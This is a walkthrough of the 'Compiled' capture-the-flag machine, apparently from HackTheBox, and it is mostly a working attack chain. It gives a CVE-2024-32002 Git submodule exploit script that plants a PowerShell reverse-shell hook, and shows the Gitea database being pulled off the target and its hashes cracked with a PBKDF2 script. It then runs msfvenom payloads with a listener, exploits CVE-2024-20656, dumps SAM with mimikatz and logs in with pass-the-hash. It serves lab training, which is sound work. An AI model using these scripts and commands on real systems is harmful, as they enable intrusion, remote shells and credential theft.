Explore the fundamentals of cybersecurity in the Compiled Capture The Flag (CTF) challenge, a medium-level experience! This straightforward CTF writeup provides insights into key concepts with clarity and simplicity, making it accessible for players at this level.
Add Hosts
1
| 10.10.11.26 compiled.htb gitea.compiled.htb
|
Script to add hosts automatically
1
2
3
| ip="10.10.11.26"
domain="compiled.htb gitea.compiled.htb"
grep -qF "$ip $domain" /etc/hosts || echo -e "$ip $domain" | sudo tee -a /etc/hosts
|
Mapping
1
| nmap -sCV compiled.htb -Pn
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
| Nmap scan report for compiled.htb (10.10.11.26)
Host is up (0.054s latency).
Not shown: 997 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
3000/tcp open http Golang net/http server
|_http-title: Git
| fingerprint-strings:
| GenericLines, Help, RTSPRequest:
| HTTP/1.1 400 Bad Request
| Content-Type: text/plain; charset=utf-8
| Connection: close
| Request
| GetRequest:
| HTTP/1.0 200 OK
| Cache-Control: max-age=0, private, must-revalidate, no-transform
| Content-Type: text/html; charset=utf-8
| Set-Cookie: i_like_gitea=31c854f3a734915f; Path=/; HttpOnly; SameSite=Lax
| Set-Cookie: _csrf=2xuqMqBgGeGjFPHtQCYnt6Ghrsk6MTcyOTExNDEyNjU1ODA4NDAwMA; Path=/; Max-Age=86400; HttpOnly; SameSite=Lax
| X-Frame-Options: SAMEORIGIN
| Date: Wed, 16 Oct 2024 21:28:46 GMT
| <!DOCTYPE html>
| <html lang="en-US" class="theme-arc-green">
| <head>
| <meta name="viewport" content="width=device-width, initial-scale=1">
| <title>Git</title>
| <link rel="manifest" href="data:application/json;base64,eyJuYW1lIjoiR2l0Iiwic2hvcnRfbmFtZSI6IkdpdCIsInN0YXJ0X3VybCI6Imh0dHA6Ly9naXRlYS5jb21waWxlZC5odGI6MzAwMC8iLCJpY29ucyI6W3sic3JjIjoiaHR0cDovL2dpdGVhLmNvbXBpbGVkLmh0YjozMDAwL2Fzc2V0cy9pbWcvbG9nby5wbmciLCJ0eXBlIjoiaW1hZ2UvcG5nIiwic2l6ZXMiOiI1MTJ4NTEyIn0seyJzcmMiOiJodHRwOi8vZ2l0ZWEuY29tcGlsZWQuaHRiOjMwMDA
| HTTPOptions:
| HTTP/1.0 405 Method Not Allowed
| Allow: HEAD
| Allow: GET
| Cache-Control: max-age=0, private, must-revalidate, no-transform
| Set-Cookie: i_like_gitea=ea209cdbd9920f02; Path=/; HttpOnly; SameSite=Lax
| Set-Cookie: _csrf=6sE1XXq7sbKb7BO4wvKSpHg3EXc6MTcyOTExNDEyNjc5Njk0MDIwMA; Path=/; Max-Age=86400; HttpOnly; SameSite=Lax
| X-Frame-Options: SAMEORIGIN
| Date: Wed, 16 Oct 2024 21:28:46 GMT
|_ Content-Length: 0
5000/tcp open http Werkzeug httpd 3.0.3 (Python 3.12.3)
|_http-title: Compiled - Code Compiling Services
|_http-server-header: Werkzeug/3.0.3 Python/3.12.3
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port3000-TCP:V=7.95%I=7%D=10/16%Time=6710300E%P=x86_64-pc-linux-gnu%r(G
SF:enericLines,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20
SF:text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\
SF:x20Request")%r(GetRequest,3000,"HTTP/1\.0\x20200\x20OK\r\nCache-Control
SF::\x20max-age=0,\x20private,\x20must-revalidate,\x20no-transform\r\nCont
SF:ent-Type:\x20text/html;\x20charset=utf-8\r\nSet-Cookie:\x20i_like_gitea
SF:=31c854f3a734915f;\x20Path=/;\x20HttpOnly;\x20SameSite=Lax\r\nSet-Cooki
SF:e:\x20_csrf=2xuqMqBgGeGjFPHtQCYnt6Ghrsk6MTcyOTExNDEyNjU1ODA4NDAwMA;\x20
SF:Path=/;\x20Max-Age=86400;\x20HttpOnly;\x20SameSite=Lax\r\nX-Frame-Optio
SF:ns:\x20SAMEORIGIN\r\nDate:\x20Wed,\x2016\x20Oct\x202024\x2021:28:46\x20
SF:GMT\r\n\r\n<!DOCTYPE\x20html>\n<html\x20lang=\"en-US\"\x20class=\"theme
SF:-arc-green\">\n<head>\n\t<meta\x20name=\"viewport\"\x20content=\"width=
SF:device-width,\x20initial-scale=1\">\n\t<title>Git</title>\n\t<link\x20r
SF:el=\"manifest\"\x20href=\"data:application/json;base64,eyJuYW1lIjoiR2l0
SF:Iiwic2hvcnRfbmFtZSI6IkdpdCIsInN0YXJ0X3VybCI6Imh0dHA6Ly9naXRlYS5jb21waWx
SF:lZC5odGI6MzAwMC8iLCJpY29ucyI6W3sic3JjIjoiaHR0cDovL2dpdGVhLmNvbXBpbGVkLm
SF:h0YjozMDAwL2Fzc2V0cy9pbWcvbG9nby5wbmciLCJ0eXBlIjoiaW1hZ2UvcG5nIiwic2l6Z
SF:XMiOiI1MTJ4NTEyIn0seyJzcmMiOiJodHRwOi8vZ2l0ZWEuY29tcGlsZWQuaHRiOjMwMDA"
SF:)%r(Help,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20tex
SF:t/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20
SF:Request")%r(HTTPOptions,197,"HTTP/1\.0\x20405\x20Method\x20Not\x20Allow
SF:ed\r\nAllow:\x20HEAD\r\nAllow:\x20GET\r\nCache-Control:\x20max-age=0,\x
SF:20private,\x20must-revalidate,\x20no-transform\r\nSet-Cookie:\x20i_like
SF:_gitea=ea209cdbd9920f02;\x20Path=/;\x20HttpOnly;\x20SameSite=Lax\r\nSet
SF:-Cookie:\x20_csrf=6sE1XXq7sbKb7BO4wvKSpHg3EXc6MTcyOTExNDEyNjc5Njk0MDIwM
SF:A;\x20Path=/;\x20Max-Age=86400;\x20HttpOnly;\x20SameSite=Lax\r\nX-Frame
SF:-Options:\x20SAMEORIGIN\r\nDate:\x20Wed,\x2016\x20Oct\x202024\x2021:28:
SF:46\x20GMT\r\nContent-Length:\x200\r\n\r\n")%r(RTSPRequest,67,"HTTP/1\.1
SF:\x20400\x20Bad\x20Request\r\nContent-Type:\x20text/plain;\x20charset=ut
SF:f-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20Request");
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
|
Exploit the Gitea Instance (CVE-2024-32002)
Exploring Gitea Repositories
- Go to the Gitea explore page to browse repositories:
- Specifically, navigate to Richard’s repository:
Project Overview: “Compiled”
- The “Compiled” project introduces a one-stop solution for compiling C++, C#, and .NET projects. It allows users to input GitHub repository URLs and get the projects compiled easily on http://localhost:5000 (if hosting locally).
Checking Git Version for Exploit
- On Richard’s system, we see that
git
version 2.45.0.windows.1 is installed:1
2
| C:\Users\Richard> git --version
git version 2.45.0.windows.1
|
- Searching for vulnerabilities related to this version reveals CVE-2024-32002, which is exploitable in this environment.
Targeting the Compiled Repository
- The interesting repository to target is:
Reverse Shell Setup
- Start a listener on your machine:
Register a New Gitea Account
- Go to the Gitea registration page to create a new user:
- Register a user with the name
pwn
. After registration, get your access token from your account settings.
Create Hook Repositories
- Once logged in, create two new repositories named repo1 and repo2 using the Gitea web interface.
Prepare the Reverse Shell Payload
Inject the Reverse Shell into Git Hooks
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
| #!/bin/bash
git config --global protocol.file.allow always
git config --global core.symlinks true
git config --global init.defaultBranch main
rm -rf repo1
rm -rf repo2
git clone http://gitea.compiled.htb:3000/pwn/repo1.git
cd repo1
mkdir -p y/hooks
cat > y/hooks/post-checkout <<EOF
#!bin/sh.exe
powershell -e JABjAGwA...
EOF
chmod +x y/hooks/post-checkout
git add y/hooks/post-checkout
git commit -m "post-checkout"
git push
cd ..
pwn_repo_path=""
git clone http://gitea.compiled.htb:3000/pwn/repo2.git
cd repo2
git submodule add --name x/y "http://gitea.compiled.htb:3000/pwn/repo1.git" A/modules/x
git commit -m "add-submodule"
printf ".git" > dotgit.txt
git hash-object -w --stdin < dotgit.txt > dot-git.hash
printf "120000 %s 0\ta\n" "$(cat dot-git.hash)" > index.info
git update-index --index-info < index.info
git commit -m "add-symlink"
git push
cd ..
|
Exploiting Gitea and Extracting Credentials
Navigating to the Compiled Service
- First, access the Compiled service on the target machine by navigating to:
- In the input field of the Compiled service, paste the URL for your malicious Gitea repository:
- This will trigger the execution of your repository’s malicious hook scripts.
Serving Files from the Attacked Machine
On the attacked machine, set up a simple HTTP server using Python to share files:
1
2
| cd C:\
python -m http.server
|
This will start a server on the attacked machine, making its files available for download.
Downloading the Gitea Database to Your Local Machine
On your local machine, download the Gitea database file from the attacked machine. Use wget
to pull the gitea.db
file from the target:
1
| wget 'http://10.10.11.26:8000/Program Files/Gitea/data/gitea.db'
|
Here, 10.10.11.26
is the IP of the attacked machine, and 8000
is the port number of the Python HTTP server you set up.
Once you have the gitea.db
file on your local machine, use sqlite3
to open the database and extract user credentials:
Within the SQLite shell, run the following SQL query to list the emails, hashed passwords, and salts of users:
1
| SELECT email, passwd, salt FROM user;
|
This will display the sensitive credential information stored in the Gitea instance.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
| import hashlib
import binascii
from pwn import log
salt = binascii.unhexlify('227d873cca89103cd83a976bdac52486')
key = '97907280dc24fe517c43475bd218bfad56c25d4d11037d8b6da440efd4d691adfead40330b2aa6aaf1f33621d0d73228fc16'
dklen = 50
iterations = 50000
def hash(password, salt, iterations, dklen):
hashValue = hashlib.pbkdf2_hmac(
hash_name='sha256',
password=password,
salt=salt,
iterations=iterations,
dklen=dklen,
)
return hashValue
dict = '/usr/share/dict/rockyou.txt'
bar = log.progress('Cracking PBKDF2')
with open(dict, 'r', encoding='utf-8') as f:
for line in f:
password = line.strip().encode('utf-8')
hashValue = hash(password, salt, iterations, dklen)
target = binascii.unhexlify(key)
bar.status(f'Trying: {password}, hash: {hashValue}')
if hashValue == target:
bar.success(f'Found password: {password}!')
break
bar.failure('Hash is not crackable.')
|
1
| evil-winrm -i compiled.htb -u Emily -p 12345678
|
1
| more C:\Users\Emily\Desktop\user.txt
|
CVE-2024-20656 (VSStandardCollectorService150)
In your local machine:
1
2
3
4
5
6
7
| wget https://raw.githubusercontent.com/charlesgargasson/CVE-2024-20656/refs/heads/main/Expl.exe
wget https://github.com/antonioCoco/RunasCs/releases/download/v1.5/RunasCs.zip
unzip RunasCs.zip
rm -rf RunasCs_net2.exe
ip=$(ip a | grep -A 2 "tun0:" | grep -oP '(?<=inet\s)\d+(\.\d+){3}')
msfvenom -p windows/shell_reverse_tcp LHOST="$ip" LPORT=9005 EXITFUNC=thread -f exe -a x86 --platform windows -o payload.exe
msfconsole -qx "use exploit/multi/handler; set LHOST $ip; set LPORT 9005; run"
|
Host downloaded file:
1
| evil-winrm -i compiled.htb -u Emily -p 12345678
|
1
2
3
4
5
| mkdir c:\exploit
wget <vpn-ip>:8000/RunasCs.exe -O c:\exploit\RunasCs.exe
wget <vpn-ip>:8000/Expl.exe -O c:\exploit\Expl.exe
wget <vpn-ip>:8000/payload.exe -O c:\exploit\payload.exe
c:\exploit\RunasCs.exe emily 12345678 c:\exploit\Expl.exe
|
Once the listener on port 9005 responds, proceed to obtain the flag.
1
| type \users\administrator\desktop\root.txt
|
Set Up Mimikatz
Download, extract, and run Mimikatz to obtain the NT hash:
curl http://<vpn-ip>:8000/mimikatz.zip -o m.zip && tar -xf m.zip
cd mimikatz
.\mimikatz.exe "privilege::debug" "lsadump::sam" "exit"
Note down the NTLM hash of the Administrator.
Initiate Evil-WinRM Session
Utilize the extracted NT hash to access the target system:
1
| evil-winrm -i 10.10.11.26 -u administrator -H f75c95bc9312632edec46b607938061e
|